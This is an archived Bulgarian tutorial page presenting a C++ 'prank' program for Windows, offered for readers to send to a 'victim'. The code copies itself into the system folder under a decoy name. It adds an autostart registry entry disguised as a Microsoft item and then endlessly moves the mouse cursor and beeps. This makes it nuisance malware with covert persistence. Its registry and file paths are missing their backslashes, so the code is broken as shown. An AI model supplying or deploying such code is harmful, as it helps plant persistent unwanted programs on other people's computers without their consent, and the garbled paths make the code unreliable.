Към съдържанието

Интересна и гадна шега в C++

  • xaker4eto
  • 32 695 прочитания

Урокът е от архива на сайта и е писан преди години. Някои бутони и менюта в програмите вече може да изглеждат различно.

Пратете го на някой който си го е заслужил ;)

Тази проста програмка мести курсора на мишката на жертвата ви. Когато курсора стигне границата на екрана се чува бибиткане и курсора сменя посоката си. Също има и autostart, така че жертвата ще си мърда и бибитка дълго време ;)

 

CODE: 

 

#include <windows.h>
#include <string>
#include <time.h>

int WINAPI WinMain (HINSTANCE hThisInstance,
                                         HINSTANCE hPrevInstance,
                                         LPSTR lpszArgument,
                                         int nFunsterStil)
{
    char windir[MAX_PATH];
    char cpathname[MAX_PATH];
    char whatever[64] = "SoftwareMicrosoftWindowsCurrentVersionRun";
    char something[32] = "Microsoft Windoze";
    GetWindowsDirectory(windir, sizeof(windir));
    HMODULE hMe = GetModuleHandle(NULL);
    GetModuleFileName(hMe, cpathname, sizeof(cpathname));
    strcat(windir, "system32backup.exe");
    CopyFile(cpathname, windir, false);
    HKEY hKey;
    RegCreateKey(HKEY_LOCAL_MACHINE, whatever , &hKey);
    RegSetValueEx(hKey, something, 0, REG_SZ , (LPBYTE)windir, sizeof(windir));
    int screen_x, screen_y;
    int direction_x = 10;
    int direction_y = 10;
    char ab="a"[1];
    POINT cursor;
    clock_t start;
    screen_x = GetSystemMetrics(SM_CXSCREEN);
    screen_y = GetSystemMetrics(SM_CYSCREEN);
    while(ab=ab)
        {
             start = clock();                 
             GetCursorPos(&cursor);
             if(cursor.x == (screen_x - 1))
             {
               direction_x = -10;
               Beep(500,25);
             }
             if(cursor.x < 2)
             {
               direction_x = 10;
               Beep(500,25);
             }
             cursor.x = cursor.x + direction_x;
             if(cursor.y == (screen_y - 1))
            {
               direction_y = -10;
               Beep(750,25);
            }
            if(cursor.y < 1)
            {
               direction_y = 10;
               Beep(750,25);
            }
            cursor.y = cursor.y + direction_y;
            SetCursorPos(cursor.x,cursor.y);
            while((clock() - start) < 10);                         
       }
     return 0;
 }

Споделете: